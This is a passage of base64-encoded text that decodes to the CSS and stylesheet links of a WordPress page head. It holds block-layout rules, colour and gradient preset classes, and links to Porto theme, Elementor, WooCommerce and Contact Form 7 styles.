bGVmdDsNCiAgICAgICAgICAgIG1hcmdpbi1pbmxpbmUtc3RhcnQ6IDA7DQogICAgICAgICAgICBtYXJnaW4taW5saW5lLWVuZDogMmVtOw0KICAgICAgICB9DQoNCiAgICAgICAgYm9keSAuaXMtbGF5b3V0LWNvbnN0cmFpbmVkID4gLmFsaWducmlnaHQgew0KICAgICAgICAgICAgZmxvYXQ6IHJpZ2h0Ow0KICAgICAgICAgICAgbWFyZ2luLWlubGluZS1zdGFydDogMmVtOw0KICAgICAgICAgICAgbWFyZ2luLWlubGluZS1lbmQ6IDA7DQogICAgICAgIH0NCg0KICAgICAgICBib2R5IC5pcy1sYXlvdXQtY29uc3RyYWluZWQgPiAuYWxpZ25jZW50ZXIgew0KICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IGF1dG8gIWltcG9ydGFudDsNCiAgICAgICAgICAgIG1hcmdpbi1yaWdodDogYXV0byAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgYm9keSAuaXMtbGF5b3V0LWNvbnN0cmFpbmVkID4gOndoZXJlKDpub3QoLmFsaWdubGVmdCk6bm90KC5hbGlnbnJpZ2h0KTpub3QoLmFsaWduZnVsbCkpIHsNCiAgICAgICAgICAgIG1heC13aWR0aDogdmFyKC0td3AtLXN0eWxlLS1nbG9iYWwtLWNvbnRlbnQtc2l6ZSk7DQogICAgICAgICAgICBtYXJnaW4tbGVmdDogYXV0byAhaW1wb3J0YW50Ow0KICAgICAgICAgICAgbWFyZ2luLXJpZ2h0OiBhdXRvICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICBib2R5IC5pcy1sYXlvdXQtY29uc3RyYWluZWQgPiAuYWxpZ253aWRlIHsNCiAgICAgICAgICAgIG1heC13aWR0aDogdmFyKC0td3AtLXN0eWxlLS1nbG9iYWwtLXdpZGUtc2l6ZSk7DQogICAgICAgIH0NCg0KICAgICAgICBib2R5IC5pcy1sYXlvdXQtZmxleCB7DQogICAgICAgICAgICBkaXNwbGF5OiBmbGV4Ow0KICAgICAgICB9DQoNCiAgICAgICAgYm9keSAuaXMtbGF5b3V0LWZsZXggew0KICAgICAgICAgICAgZmxleC13cmFwOiB3cmFwOw0KICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAgICAgICAgfQ0KDQogICAgICAgIGJvZHkgLmlzLWxheW91dC1mbGV4ID4gKiB7DQogICAgICAgICAgICBtYXJnaW46IDA7DQogICAgICAgIH0NCg0KICAgICAgICA6d2hlcmUoLndwLWJsb2NrLWNvbHVtbnMuaXMtbGF5b3V0LWZsZXgpIHsNCiAgICAgICAgICAgIGdhcDogMmVtOw0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1ibGFjay1jb2xvciB7DQogICAgICAgICAgICBjb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLWJsYWNrKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1jeWFuLWJsdWlzaC1ncmF5LWNvbG9yIHsNCiAgICAgICAgICAgIGNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tY3lhbi1ibHVpc2gtZ3JheSkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtd2hpdGUtY29sb3Igew0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS13aGl0ZSkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtcGFsZS1waW5rLWNvbG9yIHsNCiAgICAgICAgICAgIGNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tcGFsZS1waW5rKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy12aXZpZC1yZWQtY29sb3Igew0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1yZWQpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWx1bWlub3VzLXZpdmlkLW9yYW5nZS1jb2xvciB7DQogICAgICAgICAgICBjb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLWx1bWlub3VzLXZpdmlkLW9yYW5nZSkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtbHVtaW5vdXMtdml2aWQtYW1iZXItY29sb3Igew0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS1sdW1pbm91cy12aXZpZC1hbWJlcikgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtbGlnaHQtZ3JlZW4tY3lhbi1jb2xvciB7DQogICAgICAgICAgICBjb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLWxpZ2h0LWdyZWVuLWN5YW4pICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLWdyZWVuLWN5YW4tY29sb3Igew0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1ncmVlbi1jeWFuKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1wYWxlLWN5YW4tYmx1ZS1jb2xvciB7DQogICAgICAgICAgICBjb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLXBhbGUtY3lhbi1ibHVlKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy12aXZpZC1jeWFuLWJsdWUtY29sb3Igew0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1jeWFuLWJsdWUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLXB1cnBsZS1jb2xvciB7DQogICAgICAgICAgICBjb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLXZpdmlkLXB1cnBsZSkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtYmxhY2stYmFja2dyb3VuZC1jb2xvciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tYmxhY2spICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWN5YW4tYmx1aXNoLWdyYXktYmFja2dyb3VuZC1jb2xvciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tY3lhbi1ibHVpc2gtZ3JheSkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtd2hpdGUtYmFja2dyb3VuZC1jb2xvciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0td2hpdGUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXBhbGUtcGluay1iYWNrZ3JvdW5kLWNvbG9yIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS1wYWxlLXBpbmspICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLXJlZC1iYWNrZ3JvdW5kLWNvbG9yIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1yZWQpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWx1bWlub3VzLXZpdmlkLW9yYW5nZS1iYWNrZ3JvdW5kLWNvbG9yIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS1sdW1pbm91cy12aXZpZC1vcmFuZ2UpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWx1bWlub3VzLXZpdmlkLWFtYmVyLWJhY2tncm91bmQtY29sb3Igew0KICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLWx1bWlub3VzLXZpdmlkLWFtYmVyKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1saWdodC1ncmVlbi1jeWFuLWJhY2tncm91bmQtY29sb3Igew0KICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLWxpZ2h0LWdyZWVuLWN5YW4pICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLWdyZWVuLWN5YW4tYmFja2dyb3VuZC1jb2xvciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tdml2aWQtZ3JlZW4tY3lhbikgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtcGFsZS1jeWFuLWJsdWUtYmFja2dyb3VuZC1jb2xvciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tcGFsZS1jeWFuLWJsdWUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLWN5YW4tYmx1ZS1iYWNrZ3JvdW5kLWNvbG9yIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1jeWFuLWJsdWUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLXB1cnBsZS1iYWNrZ3JvdW5kLWNvbG9yIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1wdXJwbGUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWJsYWNrLWJvcmRlci1jb2xvciB7DQogICAgICAgICAgICBib3JkZXItY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS1ibGFjaykgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtY3lhbi1ibHVpc2gtZ3JheS1ib3JkZXItY29sb3Igew0KICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tY3lhbi1ibHVpc2gtZ3JheSkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtd2hpdGUtYm9yZGVyLWNvbG9yIHsNCiAgICAgICAgICAgIGJvcmRlci1jb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLXdoaXRlKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1wYWxlLXBpbmstYm9yZGVyLWNvbG9yIHsNCiAgICAgICAgICAgIGJvcmRlci1jb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLXBhbGUtcGluaykgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtdml2aWQtcmVkLWJvcmRlci1jb2xvciB7DQogICAgICAgICAgICBib3JkZXItY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1yZWQpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWx1bWlub3VzLXZpdmlkLW9yYW5nZS1ib3JkZXItY29sb3Igew0KICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tbHVtaW5vdXMtdml2aWQtb3JhbmdlKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1sdW1pbm91cy12aXZpZC1hbWJlci1ib3JkZXItY29sb3Igew0KICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tbHVtaW5vdXMtdml2aWQtYW1iZXIpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWxpZ2h0LWdyZWVuLWN5YW4tYm9yZGVyLWNvbG9yIHsNCiAgICAgICAgICAgIGJvcmRlci1jb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLWxpZ2h0LWdyZWVuLWN5YW4pICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLWdyZWVuLWN5YW4tYm9yZGVyLWNvbG9yIHsNCiAgICAgICAgICAgIGJvcmRlci1jb2xvcjogdmFyKC0td3AtLXByZXNldC0tY29sb3ItLXZpdmlkLWdyZWVuLWN5YW4pICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXBhbGUtY3lhbi1ibHVlLWJvcmRlci1jb2xvciB7DQogICAgICAgICAgICBib3JkZXItY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS1wYWxlLWN5YW4tYmx1ZSkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtdml2aWQtY3lhbi1ibHVlLWJvcmRlci1jb2xvciB7DQogICAgICAgICAgICBib3JkZXItY29sb3I6IHZhcigtLXdwLS1wcmVzZXQtLWNvbG9yLS12aXZpZC1jeWFuLWJsdWUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXZpdmlkLXB1cnBsZS1ib3JkZXItY29sb3Igew0KICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiB2YXIoLS13cC0tcHJlc2V0LS1jb2xvci0tdml2aWQtcHVycGxlKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy12aXZpZC1jeWFuLWJsdWUtdG8tdml2aWQtcHVycGxlLWdyYWRpZW50LWJhY2tncm91bmQgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogdmFyKC0td3AtLXByZXNldC0tZ3JhZGllbnQtLXZpdmlkLWN5YW4tYmx1ZS10by12aXZpZC1wdXJwbGUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWxpZ2h0LWdyZWVuLWN5YW4tdG8tdml2aWQtZ3JlZW4tY3lhbi1ncmFkaWVudC1iYWNrZ3JvdW5kIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6IHZhcigtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1saWdodC1ncmVlbi1jeWFuLXRvLXZpdmlkLWdyZWVuLWN5YW4pICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWx1bWlub3VzLXZpdmlkLWFtYmVyLXRvLWx1bWlub3VzLXZpdmlkLW9yYW5nZS1ncmFkaWVudC1iYWNrZ3JvdW5kIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6IHZhcigtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1sdW1pbm91cy12aXZpZC1hbWJlci10by1sdW1pbm91cy12aXZpZC1vcmFuZ2UpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWx1bWlub3VzLXZpdmlkLW9yYW5nZS10by12aXZpZC1yZWQtZ3JhZGllbnQtYmFja2dyb3VuZCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiB2YXIoLS13cC0tcHJlc2V0LS1ncmFkaWVudC0tbHVtaW5vdXMtdml2aWQtb3JhbmdlLXRvLXZpdmlkLXJlZCkgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtdmVyeS1saWdodC1ncmF5LXRvLWN5YW4tYmx1aXNoLWdyYXktZ3JhZGllbnQtYmFja2dyb3VuZCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiB2YXIoLS13cC0tcHJlc2V0LS1ncmFkaWVudC0tdmVyeS1saWdodC1ncmF5LXRvLWN5YW4tYmx1aXNoLWdyYXkpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWNvb2wtdG8td2FybS1zcGVjdHJ1bS1ncmFkaWVudC1iYWNrZ3JvdW5kIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6IHZhcigtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1jb29sLXRvLXdhcm0tc3BlY3RydW0pICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWJsdXNoLWxpZ2h0LXB1cnBsZS1ncmFkaWVudC1iYWNrZ3JvdW5kIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6IHZhcigtLXdwLS1wcmVzZXQtLWdyYWRpZW50LS1ibHVzaC1saWdodC1wdXJwbGUpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWJsdXNoLWJvcmRlYXV4LWdyYWRpZW50LWJhY2tncm91bmQgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogdmFyKC0td3AtLXByZXNldC0tZ3JhZGllbnQtLWJsdXNoLWJvcmRlYXV4KSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1sdW1pbm91cy1kdXNrLWdyYWRpZW50LWJhY2tncm91bmQgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogdmFyKC0td3AtLXByZXNldC0tZ3JhZGllbnQtLWx1bWlub3VzLWR1c2spICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXBhbGUtb2NlYW4tZ3JhZGllbnQtYmFja2dyb3VuZCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiB2YXIoLS13cC0tcHJlc2V0LS1ncmFkaWVudC0tcGFsZS1vY2VhbikgIWltcG9ydGFudDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5oYXMtZWxlY3RyaWMtZ3Jhc3MtZ3JhZGllbnQtYmFja2dyb3VuZCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiB2YXIoLS13cC0tcHJlc2V0LS1ncmFkaWVudC0tZWxlY3RyaWMtZ3Jhc3MpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLW1pZG5pZ2h0LWdyYWRpZW50LWJhY2tncm91bmQgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogdmFyKC0td3AtLXByZXNldC0tZ3JhZGllbnQtLW1pZG5pZ2h0KSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1zbWFsbC1mb250LXNpemUgew0KICAgICAgICAgICAgZm9udC1zaXplOiB2YXIoLS13cC0tcHJlc2V0LS1mb250LXNpemUtLXNtYWxsKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLmhhcy1tZWRpdW0tZm9udC1zaXplIHsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogdmFyKC0td3AtLXByZXNldC0tZm9udC1zaXplLS1tZWRpdW0pICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLWxhcmdlLWZvbnQtc2l6ZSB7DQogICAgICAgICAgICBmb250LXNpemU6IHZhcigtLXdwLS1wcmVzZXQtLWZvbnQtc2l6ZS0tbGFyZ2UpICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCg0KICAgICAgICAuaGFzLXgtbGFyZ2UtZm9udC1zaXplIHsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogdmFyKC0td3AtLXByZXNldC0tZm9udC1zaXplLS14LWxhcmdlKSAhaW1wb3J0YW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLW5hdmlnYXRpb24gYTp3aGVyZSg6bm90KC53cC1lbGVtZW50LWJ1dHRvbikpIHsNCiAgICAgICAgICAgIGNvbG9yOiBpbmhlcml0Ow0KICAgICAgICB9DQoNCiAgICAgICAgOndoZXJlKC53cC1ibG9jay1jb2x1bW5zLmlzLWxheW91dC1mbGV4KSB7DQogICAgICAgICAgICBnYXA6IDJlbTsNCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1wdWxscXVvdGUgew0KICAgICAgICAgICAgZm9udC1zaXplOiAxLjVlbTsNCiAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiAxLjY7DQogICAgICAgIH0NCiAgICA8L3N0eWxlPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J2NvbnRhY3QtZm9ybS03LWNzcycNCiAgICAgICAgICBocmVmPScvd3AtY29udGVudC9wbHVnaW5zL2NvbnRhY3QtZm9ybS03L2luY2x1ZGVzL2Nzcy9zdHlsZXMuY3NzP3Zlcj01LjcuMycgbWVkaWE9J2FsbCcvPg0KICAgIDxzdHlsZSBpZD0nd29vY29tbWVyY2UtaW5saW5lLWlubGluZS1jc3MnPg0KICAgICAgICAud29vY29tbWVyY2UgZm9ybSAuZm9ybS1yb3cgLnJlcXVpcmVkIHsNCiAgICAgICAgICAgIHZpc2liaWxpdHk6IHZpc2libGU7DQogICAgICAgIH0NCiAgICA8L3N0eWxlPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J25leHRwYXktc3R5bGVzLWNzcycgaHJlZj0nL3dwLWNvbnRlbnQvcGx1Z2lucy9uZXh0cGF5L2Fzc2V0cy9jc3MvcGF5LmNzcz92ZXI9djEuMi40Jw0KICAgICAgICAgIG1lZGlhPSdhbGwnLz4NCiAgICA8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdwb3J0by1jc3MtdmFycy1jc3MnIGhyZWY9Jy93cC1jb250ZW50L3VwbG9hZHMvcG9ydG9fc3R5bGVzL3RoZW1lX2Nzc192YXJzLmNzcz92ZXI9Ni43LjInDQogICAgICAgICAgbWVkaWE9J2FsbCcvPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J2VsZW1lbnRvci1pY29ucy1jc3MnDQogICAgICAgICAgaHJlZj0nL3dwLWNvbnRlbnQvcGx1Z2lucy9lbGVtZW50b3IvYXNzZXRzL2xpYi9laWNvbnMvY3NzL2VsZW1lbnRvci1pY29ucy5taW4uY3NzP3Zlcj01LjE3LjAnIG1lZGlhPSdhbGwnLz4NCiAgICA8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdlbGVtZW50b3ItZnJvbnRlbmQtY3NzJw0KICAgICAgICAgIGhyZWY9Jy93cC1jb250ZW50L3VwbG9hZHMvZWxlbWVudG9yL2Nzcy9jdXN0b20tZnJvbnRlbmQtbGl0ZS5taW4uY3NzP3Zlcj0xNzA5ODc5NDk4JyBtZWRpYT0nYWxsJy8+DQogICAgPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0nZWxlbWVudG9yLXBvc3QtMjE1Mi1jc3MnDQogICAgICAgICAgaHJlZj0nL3dwLWNvbnRlbnQvdXBsb2Fkcy9lbGVtZW50b3IvY3NzL3Bvc3QtMjE1Mi5jc3M/dmVyPTE3MDk4Nzk0OTgnIG1lZGlhPSdhbGwnLz4NCiAgICA8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdib290c3RyYXAtY3NzJyBocmVmPScvd3AtY29udGVudC91cGxvYWRzL3BvcnRvX3N0eWxlcy9ib290c3RyYXAuY3NzP3Zlcj02LjcuMicNCiAgICAgICAgICBtZWRpYT0nYWxsJy8+DQogICAgPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0ncG9ydG8tcGx1Z2lucy1jc3MnIGhyZWY9Jy93cC1jb250ZW50L3RoZW1lcy9wb3J0by9jc3MvcGx1Z2lucy5jc3M/dmVyPTYuNy4yJw0KICAgICAgICAgIG1lZGlhPSdhbGwnLz4NCiAgICA8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdwb3J0by10aGVtZS1jc3MnIGhyZWY9Jy93cC1jb250ZW50L3RoZW1lcy9wb3J0by9jc3MvdGhlbWUuY3NzP3Zlcj02LjcuMicgbWVkaWE9J2FsbCcvPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J3BvcnRvLXNob3J0Y29kZXMtY3NzJyBocmVmPScvd3AtY29udGVudC91cGxvYWRzL3BvcnRvX3N0eWxlcy9zaG9ydGNvZGVzLmNzcz92ZXI9Ni43LjInDQogICAgICAgICAgbWVkaWE9J2FsbCcvPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J3BvcnRvLXRoZW1lLXNob3AtY3NzJyBocmVmPScvd3AtY29udGVudC90aGVtZXMvcG9ydG8vY3NzL3RoZW1lX3Nob3AuY3NzP3Zlcj02LjcuMicNCiAgICAgICAgICBtZWRpYT0nYWxsJy8+DQogICAgPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0ncG9ydG8tdGhlbWUtZWxlbWVudG9yLWNzcycNCiAgICAgICAgICBocmVmPScvd3AtY29udGVudC90aGVtZXMvcG9ydG8vY3NzL3RoZW1lX2VsZW1lbnRvci5jc3M/dmVyPTYuNy4yJyBtZWRpYT0nYWxsJy8+DQogICAgPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0ncG9ydG8tZHluYW1pYy1zdHlsZS1jc3MnDQogICAgICAgICAgaHJlZj0nL3dwLWNvbnRlbnQvdXBsb2Fkcy9wb3J0b19zdHlsZXMvZHluYW1pY19zdHlsZS5jc3M/dmVyPTYuNy4yJyBtZWRpYT0nYWxsJy8+DQogICAgPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0ncG9ydG8tdHlwZS1idWlsZGVyLWNzcycNCiAgICAgICAgICBocmVmPScvd3AtY29udGVudC9wbHVnaW5zL3BvcnRvLWZ1bmN0aW9uYWxpdHkvYnVpbGRlcnMvYXNzZXRzL3R5cGUtYnVpbGRlci5jc3M/dmVyPTIuNy4yJyBtZWRpYT0nYWxsJy8+DQogICAgPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0ncG9ydG8tc2hvcC1maWx0ZXItY3NzJw0KICAgICAgICAgIGhyZWY9Jy93cC1jb250ZW50L3RoZW1lcy9wb3J0by9jc3MvdGhlbWUvc2hvcC9zaG9wLWZpbHRlci9vZmZjYW52YXMuY3NzP3Zlcj02LjcuMicgbWVkaWE9J2FsbCcvPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J3BvcnRvLWFjY291bnQtbG9naW4tc3R5bGUtY3NzJw0KICAgICAgICAgIGhyZWY9Jy93cC1jb250ZW50L3RoZW1lcy9wb3J0by9jc3MvdGhlbWUvc2hvcC9sb2dpbi1zdHlsZS9hY2NvdW50LWxvZ2luLmNzcz92ZXI9Ni43LjInIG1lZGlhPSdhbGwnLz4NCiAgICA8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdwb3J0by1zdHlsZS1jc3MnIGhyZWY9Jy93cC1jb250ZW50L3RoZW1lcy9wb3J0by9zdHlsZS5jc3M/dmVyPTYuNy4yJyBtZWRpYT0nYWxsJy8+DQogICAgPHN0eWxlIGlkPSdwb3J0by1zdHlsZS1pbmxpbmUtY3NzJz4NCiAgICAgICAgLnNpZGUtaGVhZGVyLW5hcnJvdy1iYXItbG9nbyB7DQogICAgICAgICAgICBtYXgtd2lkdGg6IDExMXB4DQogICAgICAgIH0NCg0KICAgICAgICBAbWVkaWEgKG1pbi13aWR0aDogOTkycHgpIHsNCiAgICAgICAgfQ0KDQogICAgICAgIC5wYWdlLXRvcCB1bC5icmVhZGNydW1iID4gbGkuaG9tZSB7DQogICAgICAgICAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2sNCiAgICAgICAgfQ0KDQogICAgICAgIC5wYWdlLXRvcCB1bC5icmVhZGNydW1iID4gbGkuaG9tZSBhIHsNCiAgICAgICAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTsNCiAgICAgICAgICAgIHdpZHRoOiAxNHB4Ow0KICAgICAgICAgICAgdGV4dC1pbmRlbnQ6IC05OTk5cHgNCiAgICAgICAgfQ0KDQogICAgICAgIC5wYWdlLXRvcCB1bC5icmVhZGNydW1iID4gbGkuaG9tZSBhOmFmdGVyIHsNCiAgICAgICAgICAgIGNvbnRlbnQ6ICJcZTg4MyI7DQogICAgICAgICAgICBmb250LWZhbWlseTogJ3BvcnRvJzsNCiAgICAgICAgICAgIGZsb2F0OiBsZWZ0Ow0KICAgICAgICAgICAgdGV4dC1pbmRlbnQ6IDANCiAgICAgICAgfQ0KDQogICAgICAgIEBtZWRpYSAobWluLXdpZHRoOiAxNTAwcHgpIHsNCiAgICAgICAgICAgIC5sZWZ0LXNpZGViYXIuY29sLWxnLTMsIC5yaWdodC1zaWRlYmFyLmNvbC1sZy0zIHsNCiAgICAgICAgICAgICAgICB3aWR0aDogMjAlDQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAubWFpbi1jb250ZW50IHsNCiAgICAgICAgICAgIGZsZXg6IDAgMCBhdXRvOw0KICAgICAgICAgICAgd2lkdGg6IDEwMCUNCiAgICAgICAgfQ0KDQogICAgICAgIC5jdXN0b20tZm9udDQsIC5jdXN0b20t